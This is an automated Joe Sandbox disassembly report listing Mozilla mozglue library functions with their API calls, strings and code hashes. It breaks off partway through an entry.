Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: a8a7815218075c717e3cfdc1f410c884c61df76e5c201851744df7a57072f80c
Instruction ID: e968742cb9fca10ec2960ce05224a3b752e3890e1d0c9df77f0b192104f96f33
Opcode Fuzzy Hash: a8a7815218075c717e3cfdc1f410c884c61df76e5c201851744df7a57072f80c
Instruction Fuzzy Hash: B0C16E71A097409FDB05DF28C48066AFBF1BFCA714F598A1DF8D497660D730A986CB82

Function 6CB1EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAE4A68), ref: 6CB1945E
Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB19470
Part of subcall function 6CB19420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB19482
Part of subcall function 6CB19420: __Init_thread_footer.LIBCMT ref: 6CB1949F

GetCurrentThreadId.KERNEL32 ref: 6CB1EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB1EC8C

Part of subcall function 6CB194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB194EE
Part of subcall function 6CB194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB19508

GetCurrentThreadId.KERNEL32 ref: 6CB1ECA1
AcquireSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CB1ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CB1ECC5
ReleaseSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CB1ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CB1ED19
CloseHandle.KERNEL32(?), ref: 6CB1ED28
free.MOZGLUE(00000000), ref: 6CB1ED2F
ReleaseSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CB1ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CB1EC94

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 936fd716e61c582a0481fde0209d947ee7a7b9fb3e080406bcab4e86ab64102f
Instruction ID: 805018b925402bb3cf9b347ba6a8822af796490672cef7d862fdb3a66cd5df9e
Opcode Fuzzy Hash: 936fd716e61c582a0481fde0209d947ee7a7b9fb3e080406bcab4e86ab64102f
Instruction Fuzzy Hash: EE21C475604198ABEF019F64DC08AAEBB7AEF4636CF944210FD1897F41DB319815CBA2

Function 6CB18ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6CADEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CADEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CB1B392,?,?,00000001), ref: 6CB191F4

Part of subcall function 6CB0CBE8: GetCurrentProcess.KERNEL32(?,6CAD31A7), ref: 6CB0CBF1
Part of subcall function 6CB0CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAD31A7), ref: 6CB0CBFA

Strings

stack-chart, xrefs: 6CB190B2
marker-chart, xrefs: 6CB1905E
data, xrefs: 6CB190E8
marker-table, xrefs: 6CB1906C
timeline-overview, xrefs: 6CB1907A
timeline-fileio, xrefs: 6CB190A4
timeline-ipc, xrefs: 6CB19096
name, xrefs: 6CB18F16
timeline-memory, xrefs: 6CB19088

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 435ae39b7cb3ae3fd014ba4fed345726702c6603348edfb75d4cebd75b938488
Instruction ID: 8adf8801fb1bc2c5edcc4107334570c0decb2421692a8d5ee6698d9717817cc7
Opcode Fuzzy Hash: 435ae39b7cb3ae3fd014ba4fed345726702c6603348edfb75d4cebd75b938488
Instruction Fuzzy Hash: 48B1D1B0E052899BDB04CF94D5957EEBBB6FF84318F548429D402ABF84C731A958CBE1

Function 6CAFC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAFC5A3
WideCharToMultiByte.KERNEL32 ref: 6CAFC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CAFC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CAFCA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAFCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAFCAA5

Strings

(null), xrefs: 6CAFC596
0, xrefs: 6CAFD30A

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 14a6bb4e7e9a398de6d7023fc2f81eedd658d4cd8ef317a3faead402b080971b
Instruction ID: e649b79dbb77f9cc07424c7a1fe68208250c2206cc3ddd1c2718baea43cf4cf0
Opcode Fuzzy Hash: 14a6bb4e7e9a398de6d7023fc2f81eedd658d4cd8ef317a3faead402b080971b
Instruction Fuzzy Hash: 47A1BE306083418FDB11DF2AC59475ABBF5AF89748F08891CF9A997741D731E886CB82

Function 6CAD3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CAD3284,?,?,6CAF56F6), ref: 6CAD3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CAD3284,?,?,6CAF56F6), ref: 6CAD34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CAD3284,?,?,6CAF56F6), ref: 6CAD34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CAD350E
__Init_thread_footer.LIBCMT ref: 6CAD3522
__aulldiv.LIBCMT ref: 6CAD3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CAD3284,?,?,6CAF56F6), ref: 6CAD357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CAD3284,?,?,6CAF56F6), ref: 6CAD3592

Part of subcall function 6CB0AB89: EnterCriticalSection.KERNEL32(6CB5E370,?,?,?,6CAD34DE,6CB5F6CC,?,?,?,?,?,?,?,6CAD3284), ref: 6CB0AB94
Part of subcall function 6CB0AB89: LeaveCriticalSection.KERNEL32(6CB5E370,?,6CAD34DE,6CB5F6CC,?,?,?,?,?,?,?,6CAD3284,?,?,6CAF56F6), ref: 6CB0ABD1

Strings

kernel32.dll, xrefs: 6CAD34EA
GetSystemTimePreciseAsFileTime, xrefs: 6CAD3508

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 0941a0edf8be6238785d249d8989bcd8690e945505a987bf649a4a67c75d096d
Instruction ID: 579b1f4cf63e55a9e2683b9c0d23ac71e849e1531cf9507a2ca42a56cac6f939
Opcode Fuzzy Hash: 0941a0edf8be6238785d249d8989bcd8690e945505a987bf649a4a67c75d096d
Instruction Fuzzy Hash: DC31E275B01249AFDF04DFB9C858AAEB7B9FB45304F950419E541E3690DB70A944CF60

Function 6CAD4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CB14843,?), ref: 6CAD45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CB14843,?), ref: 6CAD468A
free.MOZGLUE(?,?,?,?,?,?,6CB14843,?), ref: 6CAD46C9
free.MOZGLUE(?), ref: 6CAD46EF
free.MOZGLUE(?), ref: 6CAD4712
free.MOZGLUE(?), ref: 6CAD4735
free.MOZGLUE(?), ref: 6CAD4758
free.MOZGLUE(?), ref: 6CAD477B
free.MOZGLUE(?), ref: 6CAD479E

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: df0e6eb0b3d7cae533daee4d3393ca6164037314bbbbbb78d63a284adca607d4
Instruction ID: 7e0222777137dc3be3871d8c5b79993f9f0621ba9e9e75ffe3d4b7ec3544dcfc
Opcode Fuzzy Hash: df0e6eb0b3d7cae533daee4d3393ca6164037314bbbbbb78d63a284adca607d4
Instruction Fuzzy Hash: 9BB1F471A041508FDB18CF3CD9947AD77B2AF42328F1A4679E426DBB86D731E8C48B81

Function 6CB3AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CB3AC52
CreateFileMappingW.KERNEL32 ref: 6CB3AC7D
GetSystemInfo.KERNEL32 ref: 6CB3AC98
MapViewOfFile.KERNEL32 ref: 6CB3ACB0
GetSystemInfo.KERNEL32 ref: 6CB3ACCD
MapViewOfFile.KERNEL32 ref: 6CB3AD05
UnmapViewOfFile.KERNEL32 ref: 6CB3AD1C
CloseHandle.KERNEL32 ref: 6CB3AD28
UnmapViewOfFile.KERNEL32 ref: 6CB3AD37
CloseHandle.KERNEL32 ref: 6CB3AD43
CloseHandle.KERNEL32 ref: 6CB3AD67

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: c71aca881e8396b9441b6e345b31bd0d468868600f808c660f6c3e829532f497
Instruction ID: 9e47401f06a91691ac265a0253b3c9878ef407e89e2653ae62f6b094a935bb25
Opcode Fuzzy Hash: c71aca881e8396b9441b6e345b31bd0d468868600f808c660f6c3e829532f497
Instruction Fuzzy Hash: 0D314FB1A047448FDB01EFB8D64866EBBF0FF85305F558A2DE98997251EB709448CB82

Function 6CAE9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CAE9675
__Init_thread_footer.LIBCMT ref: 6CAE9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CAE96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CAE9707
__Init_thread_footer.LIBCMT ref: 6CAE971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAE9773

Part of subcall function 6CB0AB89: EnterCriticalSection.KERNEL32(6CB5E370,?,?,?,6CAD34DE,6CB5F6CC,?,?,?,?,?,?,?,6CAD3284), ref: 6CB0AB94
Part of subcall function 6CB0AB89: LeaveCriticalSection.KERNEL32(6CB5E370,?,6CAD34DE,6CB5F6CC,?,?,?,?,?,?,?,6CAD3284,?,?,6CAF56F6), ref: 6CB0ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CAE97B7
FreeLibrary.KERNEL32 ref: 6CAE97D0
FreeLibrary.KERNEL32 ref: 6CAE97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAE9824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CAE9670
ntdll.dll, xrefs: 6CAE96E3
NtMapViewOfSection, xrefs: 6CAE9701
MapViewOfFileNuma2, xrefs: 6CAE97B1

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 6a85cbb8f6784ba8e28b624b0b9846f08e1304b32d2af979ef270a28107c5124
Instruction ID: 688cbd2cc66ae19c7f876d174ff06f20a74e7cc8562d82b15c4cb6d5f077384a
Opcode Fuzzy Hash: 6a85cbb8f6784ba8e28b624b0b9846f08e1304b32d2af979ef270a28107c5124
Instruction Fuzzy Hash: CF4179B57003459FDF009FA5E984E9ABBB4EB49328F844529ED1597740E730A858CFE1

Function 6CAD1E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB5E784), ref: 6CAD1EC1
LeaveCriticalSection.KERNEL32(6CB5E784), ref: 6CAD1EE1
EnterCriticalSection.KERNEL32(6CB5E744), ref: 6CAD1F38
LeaveCriticalSection.KERNEL32(6CB5E744), ref: 6CAD1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CAD1F83
LeaveCriticalSection.KERNEL32(6CB5E784), ref: 6CAD1FC0
EnterCriticalSection.KERNEL32(6CB5E784), ref: 6CAD1FE2
LeaveCriticalSection.KERNEL32(6CB5E784), ref: 6CAD1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CAD2019

Strings

MOZ_CRASH(), xrefs: 6CAD2000

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: 613ac8541045aca6472cbc135fb119c95ce4581da0d551e5b0f0ebf025914edb
Instruction ID: 7e65ad259d30df70c29d3f14c7c66cdb9ca51704d43e69770c2b319695adace8
Opcode Fuzzy Hash: 613ac8541045aca6472cbc135fb119c95ce4581da0d551e5b0f0ebf025914edb
Instruction Fuzzy Hash: DE41E275B043998FDF019F68C888BBE3BB5EB59318F490026EA0597741DB75A844CBD2

Function 6CAE7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAE7EA7
malloc.MOZGLUE(00000001), ref: 6CAE7EB3

Part of subcall function 6CAECAB0: EnterCriticalSection.KERNEL32(?), ref: 6CAECB49
Part of subcall function 6CAECAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CAECBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CAE7EC4
mozalloc_abort.MOZGLUE(?), ref: 6CAE7F19
malloc.MOZGLUE(?), ref: 6CAE7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CAE7F4D

Strings

d, xrefs: 6CAE7F89

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 2f221a330926b3f4ff96e53ec547af49ff51a5642750eb3ffc9dc73044d62f01
Instruction ID: 16b8385c006224c2be2978b2059e1a340111833a1aab63178afb64235e2c6a15
Opcode Fuzzy Hash: 2f221a330926b3f4ff96e53ec547af49ff51a5642750eb3ffc9dc73044d62f01
Instruction Fuzzy Hash: 9131C361E042989BDB019F78DC049FEB778EF9A218F449629EC4997612FB30A5C8C390

Function 6CAE3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6CAE3EEE
RtlFreeHeap.NTDLL ref: 6CAE3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6CAE4006
RtlFreeHeap.NTDLL ref: 6CAE40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CAE3CCC), ref: 6CAE40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CAE3CCC), ref: 6CAE40C2
RtlFreeHeap.NTDLL ref: 6CAE4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6CAE3CCC), ref: 6CAE4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6CAE3CCC), ref: 6CAE4157

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 9ca4272df721e54e16ea949ff204f59cf6db2ba0bf3c58208cb9dfb021cca6a6
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 99A19EB1A01205CFDB40CF69C880659B7B9FF4C318F2941A9D909AF752D776E886DBE0

Function 6CB29D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB28273), ref: 6CB29D65
free.MOZGLUE(6CB28273,?), ref: 6CB29D7C
free.MOZGLUE(?,?), ref: 6CB29D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CB29E0F
free.MOZGLUE(6CB2946B,?,?), ref: 6CB29E24
free.MOZGLUE(?,?,?), ref: 6CB29E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CB29EC8
free.MOZGLUE(6CB2946B,?,?,?), ref: 6CB29EDF
free.MOZGLUE(?,?,?,?), ref: 6CB29EF5

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 7041b0fa818e1abf0f4cb491ffd88ac0ed68a04c627bc9d9a76ba43ef88dabb3
Instruction ID: 6d4207fe9922a60b1f1a7a58c74ec5b29469c98b8bbbcb305bc4d776f83e04ba
Opcode Fuzzy Hash: 7041b0fa818e1abf0f4cb491ffd88ac0ed68a04c627bc9d9a76ba43ef88dabb3
Instruction Fuzzy Hash: EE718E70909B818BD712CF18C58056BF7F4FF99315B449619E89E5BB01EB34E8CACB81

Function 6CB2DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CB2DDCF

Part of subcall function 6CB0FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB0FA4B

Part of subcall function 6CB290E0: free.MOZGLUE(?,00000000,?,?,6CB2DEDB), ref: 6CB290FF
Part of subcall function 6CB290E0: free.MOZGLUE(?,00000000,?,?,6CB2DEDB), ref: 6CB29108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB2DE0D
free.MOZGLUE(00000000), ref: 6CB2DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB2DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB2DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB2DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CB1DEFD,?,6CAE4A68), ref: 6CB2DF32

Part of subcall function 6CB2DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CB2DB86
Part of subcall function 6CB2DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CB2DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CB1DEFD,?,6CAE4A68), ref: 6CB2DF65
free.MOZGLUE(?), ref: 6CB2DF80

Part of subcall function 6CAF5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAF5EDB
Part of subcall function 6CAF5E90: memset.VCRUNTIME140(6CB37765,000000E5,55CCCCCC), ref: 6CAF5F27
Part of subcall function 6CAF5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAF5FB2

Memory Dump Source

Source File: 00000001.00000002.2442037184.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000001.00000002.2441983848.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442163292.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442186732.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2442247730.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cad0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: c64227e0bb29f3ca4525fd0e72b8610b0b29f6a7498aa74f2c64c202aa30cc1c
Instruction ID: de050b97d9174261db0316e903cf68c6a3c07ce36712a9169c0dcf7f1b14d52c
Opcode Fuzzy Hash: c64227e0bb29f3ca4525fd0e72b8610b0b29f6a7498aa74f2c64c202aa30cc1c
Instruction Fuzzy Hash: 0351A6726016409BDB219F38E8806BEB376FF95318F95051CD85E53B00D739F95ACB92

Function 6CB35D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

